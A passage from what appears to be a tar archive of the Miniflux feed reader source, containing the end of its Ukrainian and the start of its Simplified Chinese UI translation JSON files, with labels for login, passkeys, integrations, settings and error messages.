"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Зареєструвати пароль",
"page.settings.webauthn.register.error": "Не вдалося зареєструвати ключ доступу",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Видалити %d ключ доступу",
"Видаліть %d ключа доступу",
"Видаліть %d ключа доступу"
],
"page.login.title": "Вхід",
"page.login.google_signin": "Увійти через Google",
"page.login.oidc_signin": "Увійти через %s",
"page.login.webauthn_login": "Увійти за допомогою пароля",
"page.login.webauthn_login.error": "Неможливо ввійти за допомогою ключа доступу",
"page.integrations.title": "Інтеграції",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "Адреса доступу API",
"page.integration.miniflux_api_username": "Ім’я користувача",
"page.integration.miniflux_api_password": "Пароль",
"page.integration.miniflux_api_password_value": "Пароль до вашого облікового запису",
"page.integration.bookmarklet": "Букмарклет",
"page.integration.bookmarklet.name": "Додати до Miniflux",
"page.integration.bookmarklet.instructions": "Перетягніть це посилання до своїх закладок.",
"page.integration.bookmarklet.help": "Це спеціальне посилання дозволяє підписатися на веб-сайт безпосередньо за допомогою закладки у вашому веб-браузері.",
"page.sessions.title": "Сеанси",
"page.sessions.table.date": "Дата",
"page.sessions.table.ip": "IP адреса",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "Дії",
"page.sessions.table.current_session": "Поточний сеанс",
"page.api_keys.title": "Ключі API",
"page.api_keys.table.description": "Опис",
"page.api_keys.table.token": "Токен",
"page.api_keys.table.last_used_at": "Дата останнього використання",
"page.api_keys.table.created_at": "Дата створення",
"page.api_keys.table.actions": "Дії",
"page.api_keys.never_used": "Ніколи не використався",
"page.new_api_key.title": "Створити ключ API",
"page.offline.title": "Автономний режим",
"page.offline.message": "Ви офлайн",
"page.offline.refresh_page": "Спробуйте оновити сторінку",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Немає спільного запису.",
"alert.no_bookmark": "Наразі закладки відсутні.",
"alert.no_category": "Немає категорії.",
"alert.no_category_entry": "У цій категорії немає записів.",
"alert.no_tag_entry": "Немає записів, що відповідають цьому тегу.",
"alert.no_feed_entry": "У цій стрічці немає записів.",
"alert.no_feed": "У вас немає підписок.",
"alert.no_feed_in_category": "У цій категорії немає підписок.",
"alert.no_history": "Наразі історія порожня.",
"alert.feed_error": "З цією стрічкою трапилась помилка",
"alert.no_search_result": "Немає результатів для цього пошуку.",
"alert.no_unread_entry": "Немає непрочитаних статей.",
"alert.no_user": "Ви єдиний користувач.",
"alert.account_unlinked": "Тепер ваш зовнішній обліковий запис підключено!",
"alert.account_linked": "Тепер ваш зовнішній обліковий запис від’єднано!",
"alert.pocket_linked": "Тепер ваш обліковий запис Pocket підключено!",
"alert.prefs_saved": "Уподобання збережено!",
"error.unlink_account_without_password": "Ви маєте встановити пароль, щоб мати можливість увійти наступного разу",
"error.duplicate_linked_account": "Вже є обліковий запис, під’єднаний до цього провайдера!",
"error.duplicate_fever_username": "Вже є обліковий запис з таким самим користувачем Fever!",
"error.duplicate_googlereader_username": "Вже є обліковий запис з таким самим користувачем Google Reader!",
"error.pocket_request_token": "Не вдалося отримати токен доступу з Pocket!",
"error.pocket_access_token": "Не вдалося отримати токен доступу з Pocket!",
"error.category_already_exists": "Така категорія вже існує.",
"error.unable_to_create_category": "Не вдається сворити категорію.",
"error.unable_to_update_category": "Не вдається відредагувати категорію.",
"error.user_already_exists": "Такий користувач вже існує.",
"error.unable_to_create_user": "Не вдається створити користувача.",
"error.unable_to_update_user": "Не вдається оновити користувача.",
"error.unable_to_update_feed": "Не вдається оновити стрічку.",
"error.subscription_not_found": "Не знайшлося жодної підписки.",
"error.invalid_theme": "Недійсна тема.",
"error.invalid_language": "Недійсна мова.",
"error.invalid_timezone": "Недійсний часовий пояс.",
"error.invalid_entry_direction": "Недійсний напрямок запису.",
"error.invalid_display_mode": "Недійсний режим відображення.",
"error.invalid_gesture_nav": "Недійсна навігація жестами.",
"error.invalid_default_home_page": "Недійсна домашня сторінка за замовчуванням!",
"error.empty_file": "Цей файл порожній.",
"error.bad_credentials": "Невірне ім’я користувача або пароль.",
"error.fields_mandatory": "Всі поля є обов’язковими.",
"error.title_required": "Назва є обов’язковою.",
"error.different_passwords": "Паролі не співпадають.",
"error.password_min_length": "Пароль має складати щонайменше 6 символів.",
"error.settings_mandatory_fields": "Поля імені, теми, мови та часового поясу є обов’язковими.",
"error.settings_reading_speed_is_positive": "Швидкість читання має бути додатнім цілим числом.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "Число записів на сторінку недійсне.",
"error.feed_mandatory_fields": "URL та категорія є обов’язковими.",
"error.feed_already_exists": "Така стрічка вже існує.",
"error.invalid_feed_url": "Недійсна URL-адреса стрічки.",
"error.invalid_site_url": "Недійсна URL-адреса сайту.",
"error.feed_url_not_empty": "URL-адреса стрічки не може бути порожньою.",
"error.site_url_not_empty": "URL-адреса сайту не може бути порожньою.",
"error.feed_title_not_empty": "Назва стрічки не може бути порожньою.",
"error.feed_category_not_found": "Категорія не існує або належить до іншого користувача.",
"error.feed_invalid_blocklist_rule": "Правило списку блокувань недійсне.",
"error.feed_invalid_keeplist_rule": "Правило списку дозволень недійсне.",
"error.user_mandatory_fields": "Ім’я користувача є обов’язковим.",
"error.api_key_already_exists": "Такий ключ API вже існує.",
"error.unable_to_create_api_key": "Не вдається створити такий ключ API",
"form.feed.label.title": "Назва",
"form.feed.label.site_url": "URL-адреса сайту",
"form.feed.label.feed_url": "URL-адреса стрічки",
"form.feed.label.description": "Опис",
"form.feed.label.category": "Категорія",
"form.feed.label.crawler": "Завантажувати оригінальний вміст",
"form.feed.label.feed_username": "Ім’я користувача для завантаження",
"form.feed.label.feed_password": "Пароль для завантаження",
"form.feed.label.user_agent": "Назначити User Agent",
"form.feed.label.cookie": "Встановити кукі",
"form.feed.label.scraper_rules": "Правила Scraper",
"form.feed.label.rewrite_rules": "Правила Rewrite",
"form.feed.label.blocklist_rules": "Правила блокування",
"form.feed.label.keeplist_rules": "Правила дозволення",
"form.feed.label.urlrewrite_rules": "Правила перезапису URL-адрес",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.ignore_http_cache": "Ігнорувати кеш HTTP",
"form.feed.label.allow_self_signed_certificates": "Дозволити сертифікати з власним підписом або недійсні",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Використати проксі-сервер",
"form.feed.label.disabled": "Не оновлювати цю стрічку",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Приховати записи в глобальному списку непрочитаного",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.category.label.title": "Назва",
"form.category.hide_globally": "Приховати записи в глобальному списку непрочитаного",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.user.label.username": "Ім’я користувача",
"form.user.label.password": "Пароль",
"form.user.label.confirmation": "Підтверждення паролю",
"form.user.label.admin": "Адміністратор",
"form.prefs.label.language": "Мова",
"form.prefs.label.timezone": "Часовий пояс",
"form.prefs.label.theme": "Тема",
"form.prefs.label.entry_sorting": "Сортування записів",
"form.prefs.label.entries_per_page": "Кількість записів на сторінку",
"form.prefs.label.default_reading_speed": "Швидкість читання для інших мов (слів на хвилину)",
"form.prefs.label.cjk_reading_speed": "Швидкість читання для китайської, корейської та японської мови (символів на хвилину)",
"form.prefs.label.display_mode": "Режим відображення Progressive Web App (PWA).",
"form.prefs.select.older_first": "Старіші записи спочатку",
"form.prefs.select.recent_first": "Останні записи спочатку",
"form.prefs.select.fullscreen": "Повний екран",
"form.prefs.select.standalone": "Автономний",
"form.prefs.select.minimal_ui": "Мінімальний",
"form.prefs.select.browser": "Браузер",
"form.prefs.select.publish_time": "Дата публікації запису",
"form.prefs.select.created_time": "Дата створення запису",
"form.prefs.select.alphabetical": "За алфавітом",
"form.prefs.select.unread_count": "Кількість непрочитаних",
"form.prefs.select.none": "Жодного",
"form.prefs.select.tap": "Двічі натисніть",
"form.prefs.select.swipe": "Проведіть пальцем",
"form.prefs.label.keyboard_shortcuts": "Увімкнути комбінації клавиш",
"form.prefs.label.entry_swipe": "Увімкніть введення пальцем на сенсорних екранах",
"form.prefs.label.gesture_nav": "Жест для переходу між записами",
"form.prefs.label.show_reading_time": "Показувати приблизний час читання для записів",
"form.prefs.label.custom_css": "Спеціальний CSS",
"form.prefs.label.custom_js": "Спеціальний JavaScript",
"form.prefs.label.entry_order": "Стовпець сортування записів",
"form.prefs.label.default_home_page": "Домашня сторінка за умовчанням",
"form.prefs.label.categories_sorting_order": "Сортування за категоріями",
"form.prefs.label.mark_read_on_view": "Автоматично позначати записи як прочитані під час перегляду",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "Файл OPML",
"form.import.label.url": "URL-адреса",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Увімкнути API Fever",
"form.integration.fever_username": "Ім’я користувача Fever",
"form.integration.fever_password": "Пароль Fever",
"form.integration.fever_endpoint": "Адреса доступу API Fever:",
"form.integration.googlereader_activate": "Увімкнути API Google Reader",
"form.integration.googlereader_username": "Ім’я користувача Google Reader",
"form.integration.googlereader_password": "Пароль Google Reader",
"form.integration.googlereader_endpoint": "Адреса доступу API Google Reader:",
"form.integration.pinboard_activate": "Зберігати статті до Pinboard",
"form.integration.pinboard_token": "API ключ від Pinboard",
"form.integration.pinboard_tags": "Теги для Pinboard",
"form.integration.pinboard_bookmark": "Відмічати закладку як непрочитану",
"form.integration.instapaper_activate": "Зберігати статті до Instapaper",
"form.integration.instapaper_username": "Ім’я користувача Instapaper",
"form.integration.instapaper_password": "Пароль Instapaper",
"form.integration.pocket_activate": "Зберігати статті до Pocket",
"form.integration.pocket_consumer_key": "Pocket Consumer Key",
"form.integration.pocket_access_token": "Pocket Access Token",
"form.integration.pocket_connect_link": "Підключити ваш обліковий запис Pocket",
"form.integration.wallabag_activate": "Зберігати статті до Wallabag",
"form.integration.wallabag_only_url": "Надіслати лише URL (замість повного вмісту)",
"form.integration.wallabag_endpoint": "Базова URL-адреса Wallabag",
"form.integration.wallabag_client_id": "Wallabag Client ID",
"form.integration.wallabag_client_secret": "Wallabag Client Secret",
"form.integration.wallabag_username": "Ім’я користувача Wallabag",
"form.integration.wallabag_password": "Пароль Wallabag",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Зберігати статті до Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API Endpoint",
"form.integration.nunux_keeper_api_key": "Ключ API Nunux Keeper",
"form.integration.omnivore_activate": "Зберігати статті до Omnivore",
"form.integration.omnivore_url": "Omnivore API Endpoint",
"form.integration.omnivore_api_key": "Ключ API Omnivore",
"form.integration.espial_activate": "Зберігати статті до Espial",
"form.integration.espial_endpoint": "Espial API Endpoint",
"form.integration.espial_api_key": "Ключ API Espial",
"form.integration.espial_tags": "Теги для Espial",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Відправляти нові статті до чату Telegram",
"form.integration.telegram_bot_token": "Токен боту",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.telegram_chat_id": "ID чату",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Зберігати статті до Linkding",
"form.integration.linkding_endpoint": "Linkding API Endpoint",
"form.integration.linkding_api_key": "Ключ API Linkding",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Відмічати закладку як непрочитану",
"form.integration.linkwarden_activate": "Зберігати статті до Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden API Endpoint",
"form.integration.linkwarden_api_key": "Ключ API Linkwarden",
"form.integration.matrix_bot_activate": "Перенесення нових статей в Матрицю",
"form.integration.matrix_bot_user": "Ім'я користувача для Matrix",
"form.integration.matrix_bot_password": "Пароль для користувача Matrix",
"form.integration.matrix_bot_url": "URL-адреса сервера Матриці",
"form.integration.matrix_bot_chat_id": "Ідентифікатор кімнати Матриці",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Зберігати статті до Readeck",
"form.integration.readeck_endpoint": "Readeck URL",
"form.integration.readeck_api_key": "Ключ API Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Надіслати лише URL (замість повного вмісту)",
"form.integration.shiori_activate": "Save articles to Shiori",
"form.integration.shiori_endpoint": "Shiori API Endpoint",
"form.integration.shiori_username": "Shiori Username",
"form.integration.shiori_password": "Shiori Password",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "Назва ключа API",
"form.submit.loading": "Завантаження...",
"form.submit.saving": "Зберігаю...",
"time_elapsed.not_yet": "ще ні",
"time_elapsed.yesterday": "вчора",
"time_elapsed.now": "прямо зараз",
"time_elapsed.minutes": [
"%d хвилину тому",
"%d хвилини тому",
"%d хвилин тому"
],
"time_elapsed.hours": [
"%d годину тому",
"%d години тому",
"%d годин тому"
],
"time_elapsed.days": [
"%d день тому",
"%d дні тому",
"%d днів тому"
],
"time_elapsed.weeks": [
"%d тиждень тому",
"%d тижня тому",
"%d тижнів тому"
],
"time_elapsed.months": [
"%d місяць тому",
"%d місяця тому",
"%d місяців тому"
],
"time_elapsed.years": [
"%d рік тому",
"%d роки тому",
"%d років тому"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Швидкість відтворення аудіо/відео",
"error.settings_media_playback_rate_range": "Швидкість відтворення виходить за межі діапазону",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/zh_CN.json 0000664 0000000 0000000 00000077462 14743520056 0021565 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "跳转至内容",
"confirm.question": "您确认吗？",
"confirm.question.refresh": "您是否要强制刷新？",
"confirm.yes": "是",
"confirm.no": "否",
"confirm.loading": "执行中…",
"action.subscribe": "订阅",
"action.save": "保存",
"action.or": "或",
"action.cancel": "取消",
"action.remove": "删除",
"action.remove_feed": "删除此源",
"action.update": "更新",
"action.edit": "编辑",
"action.download": "下载",
"action.import": "导入",
"action.login": "登录",
"action.home_screen": "添加到主屏幕",
"tooltip.keyboard_shortcuts": "快捷键: %s",
"tooltip.logged_user": "当前登录 %s",
"menu.title": "菜单",
"menu.home_page": "首页",
"menu.unread": "未读",
"menu.starred": "收藏",
"menu.history": "历史",
"menu.feeds": "源",
"menu.categories": "分类",
"menu.settings": "设置",
"menu.logout": "登出",
"menu.preferences": "设置",
"menu.integrations": "集成",
"menu.sessions": "会话",
"menu.users": "用户",
"menu.about": "关于",
"menu.export": "导出",
"menu.import": "导入",
"menu.search": "搜索",
"menu.create_category": "新建分类",
"menu.mark_page_as_read": "标记为已读",
"menu.mark_all_as_read": "全部标为已读",
"menu.show_all_entries": "显示所有文章",
"menu.show_only_unread_entries": "仅显示未读文章",
"menu.show_only_starred_entries": "仅显示已收藏文章",
"menu.refresh_feed": "更新",
"menu.refresh_all_feeds": "在后台更新全部源",
"menu.edit_feed": "编辑",
"menu.edit_category": "编辑",
"menu.add_feed": "新增源",
"menu.add_user": "新建用户",
"menu.flush_history": "清理历史",
"menu.feed_entries": "文章",
"menu.api_keys": "API 密钥",
"menu.create_api_key": "创建一个新的 API 密钥",
"menu.shared_entries": "已分享的文章",
"search.label": "搜索",
"search.placeholder": "搜索…",
"search.submit": "查找",
"pagination.last": "最后一页",
"pagination.next": "下一页",
"pagination.first": "第一页",
"pagination.previous": "上一页",
"entry.status.unread": "标为未读",
"entry.status.read": "标为已读",
"entry.status.toast.unread": "已标为未读",
"entry.status.toast.read": "已标为已读",
"entry.status.title": "更改状态",
"entry.bookmark.toggle.on": "添加收藏",
"entry.bookmark.toggle.off": "取消收藏",
"entry.bookmark.toast.on": "已添加收藏",
"entry.bookmark.toast.off": "已取消收藏",
"entry.state.saving": "保存中…",
"entry.state.loading": "载入中…",
"entry.save.label": "保存",
"entry.save.title": "保存这篇文章",
"entry.save.completed": "完成",
"entry.save.toast.completed": "已保存文章",
"entry.scraper.label": "抓取全文",
"entry.scraper.title": "抓取全文内容",
"entry.scraper.completed": "抓取完成",
"entry.external_link.label": "外部链接",
"entry.comments.label": "评论",
"entry.comments.title": "查看评论",
"entry.share.label": "分享",
"entry.share.title": "分享这篇文章",
"entry.unshare.label": "取消分享",
"entry.shared_entry.title": "打开公共链接",
"entry.shared_entry.label": "分享",
"entry.estimated_reading_time": [
"需要 %d 分钟阅读"
],
"entry.tags.label": "标签：",
"page.shared_entries.title": "已分享的文章",
"page.shared_entries_count": [
"%d 已分享的文章"
],
"page.unread.title": "未读",
"page.unread_entry_count": [
"%d 未读的文章"
],
"page.total_entry_count": [
"%d 文章总数"
],
"page.starred.title": "收藏",
"page.starred_entry_count": [
"%d 收藏的文章"
],
"page.categories.title": "分类",
"page.categories.no_feed": "没有源",
"page.categories.entries": "查看内容",
"page.categories.feeds": "查看源",
"page.categories.feed_count": [
"有 %d 个源"
],
"page.categories_count": [
"%d 分类"
],
"page.new_category.title": "新分类",
"page.new_user.title": "新用户",
"page.edit_category.title": "编辑分类 : %s",
"page.edit_user.title": "编辑用户 : %s",
"page.feeds.title": "源",
"page.category_label": "分类: %s",
"page.feeds.last_check": "最后检查时间：",
"page.feeds.next_check": "下次检查时间：",
"page.feeds.read_counter": "已读文章数",
"page.feeds.error_count": [
"%d 错误"
],
"page.history.title": "历史",
"page.read_entry_count": [
"%d 阅读文章"
],
"page.import.title": "导入",
"page.search.title": "搜索结果",
"page.about.title": "关于",
"page.about.credits": "版权",
"page.about.version": "版本号：",
"page.about.build_date": "构建日期：",
"page.about.author": "作者：",
"page.about.license": "协议：",
"page.about.postgres_version": "Postgres 版本号：",
"page.about.go_version": "Go 版本号：",
"page.about.global_config_options": "全局配置选项",
"page.add_feed.title": "新增源",
"page.add_feed.no_category": "没有类别，至少需要有一个类别",
"page.add_feed.label.url": "网址",
"page.add_feed.submit": "查找源",
"page.add_feed.legend.advanced_options": "高级选项",
"page.add_feed.choose_feed": "选择一个源",
"page.edit_feed.title": "编辑源 : %s",
"page.edit_feed.last_check": "最后检查时间：",
"page.edit_feed.last_modified_header": "最后修改的 Header：",
"page.edit_feed.etag_header": "ETag 标题：",
"page.edit_feed.no_header": "无 Header",
"page.edit_feed.last_parsing_error": "最后一次解析错误",
"page.entry.attachments": "附件",
"page.keyboard_shortcuts.title": "快捷键",
"page.keyboard_shortcuts.subtitle.sections": "分区导航",
"page.keyboard_shortcuts.subtitle.items": "文章导航",
"page.keyboard_shortcuts.subtitle.pages": "页面导航",
"page.keyboard_shortcuts.subtitle.actions": "操作",
"page.keyboard_shortcuts.go_to_unread": "打开未读页面",
"page.keyboard_shortcuts.go_to_starred": "打开收藏页面",
"page.keyboard_shortcuts.go_to_history": "打开历史页面",
"page.keyboard_shortcuts.go_to_feeds": "打开源页面",
"page.keyboard_shortcuts.go_to_categories": "打开分类页面",
"page.keyboard_shortcuts.go_to_settings": "打开设置页面",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "显示快捷键帮助",
"page.keyboard_shortcuts.go_to_previous_item": "上一文章",
"page.keyboard_shortcuts.go_to_next_item": "下一文章",
"page.keyboard_shortcuts.go_to_feed": "转到源页面",
"page.keyboard_shortcuts.go_to_previous_page": "上一页",
"page.keyboard_shortcuts.go_to_next_page": "下一页",
"page.keyboard_shortcuts.go_to_bottom_item": "转到底部项目",
"page.keyboard_shortcuts.go_to_top_item": "转到顶部项目",
"page.keyboard_shortcuts.open_item": "打开选定的文章",
"page.keyboard_shortcuts.open_original": "打开原始链接",
"page.keyboard_shortcuts.open_original_same_window": "在当前标签页中打开原始链接",
"page.keyboard_shortcuts.open_comments": "打开评论链接",
"page.keyboard_shortcuts.open_comments_same_window": "在当前标签页中打开评论链接",
"page.keyboard_shortcuts.toggle_read_status_next": "切换已读/未读状态, 关注下一个",
"page.keyboard_shortcuts.toggle_read_status_prev": "切换已读/未读状态, 关注前一个",
"page.keyboard_shortcuts.refresh_all_feeds": "在后台更新全部源",
"page.keyboard_shortcuts.mark_page_as_read": "标记当前页已读",
"page.keyboard_shortcuts.download_content": "抓取全文内容",
"page.keyboard_shortcuts.toggle_bookmark_status": "切换收藏状态",
"page.keyboard_shortcuts.save_article": "保存文章",
"page.keyboard_shortcuts.scroll_item_to_top": "滚动到顶部",
"page.keyboard_shortcuts.remove_feed": "删除此源",
"page.keyboard_shortcuts.go_to_search": "将焦点放在搜索表单上",
"page.keyboard_shortcuts.toggle_entry_attachments": "展开/折叠文章附件",
"page.keyboard_shortcuts.close_modal": "关闭对话窗口",
"page.users.title": "用户",
"page.users.username": "用户名",
"page.users.never_logged": "从未登录",
"page.users.admin.yes": "是",
"page.users.admin.no": "否",
"page.users.actions": "操作",
"page.users.last_login": "最后登录时间",
"page.users.is_admin": "管理员",
"page.settings.title": "设置",
"page.settings.link_google_account": "关联我的 Google 账户",
"page.settings.unlink_google_account": "解除 Google 账号关联",
"page.settings.link_oidc_account": "关联我的 %s 账户",
"page.settings.unlink_oidc_account": "解除 %s 账号关联",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "操作",
"page.settings.webauthn.passkey_name": "Passkey 名称",
"page.settings.webauthn.added_on": "添加时间",
"page.settings.webauthn.last_seen_on": "最后使用时间",
"page.settings.webauthn.register": "注册 Passkey",
"page.settings.webauthn.register.error": "无法注册 Passkey",
"page.login.webauthn_login.help": "如果您正在使用安全密钥，请输入您的用户名。如果您正在使用通行密钥（可发现凭证），则无需输入用户名。",
"page.settings.webauthn.delete": [
"删除 %d 个 Passkey"
],
"page.login.title": "登录",
"page.login.google_signin": "使用 Google 登录",
"page.login.oidc_signin": "使用 %s 登录",
"page.login.webauthn_login": "使用密码登录",
"page.login.webauthn_login.error": "无法使用密码登录",
"page.integrations.title": "集成",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API 端点",
"page.integration.miniflux_api_username": "用户名",
"page.integration.miniflux_api_password": "密码",
"page.integration.miniflux_api_password_value": "您账户的密码",
"page.integration.bookmarklet": "书签小应用",
"page.integration.bookmarklet.name": "收藏 Miniflux",
"page.integration.bookmarklet.instructions": "拖动这个链接到浏览器书签栏",
"page.integration.bookmarklet.help": "你可以打开这个特殊的书签来直接收藏网站",
"page.sessions.title": "会话",
"page.sessions.table.date": "日期",
"page.sessions.table.ip": "IP 地址",
"page.sessions.table.user_agent": "用户代理",
"page.sessions.table.actions": "操作",
"page.sessions.table.current_session": "当前会话",
"page.api_keys.title": "API 密钥",
"page.api_keys.table.description": "描述",
"page.api_keys.table.token": "密钥",
"page.api_keys.table.last_used_at": "最后使用",
"page.api_keys.table.created_at": "创建日期",
"page.api_keys.table.actions": "操作",
"page.api_keys.never_used": "没用过",
"page.new_api_key.title": "新的 API 密钥",
"page.offline.title": "离线模式",
"page.offline.message": "您已离线",
"page.offline.refresh_page": "尝试刷新页面",
"page.webauthn_rename.title": "重命名 Passkey",
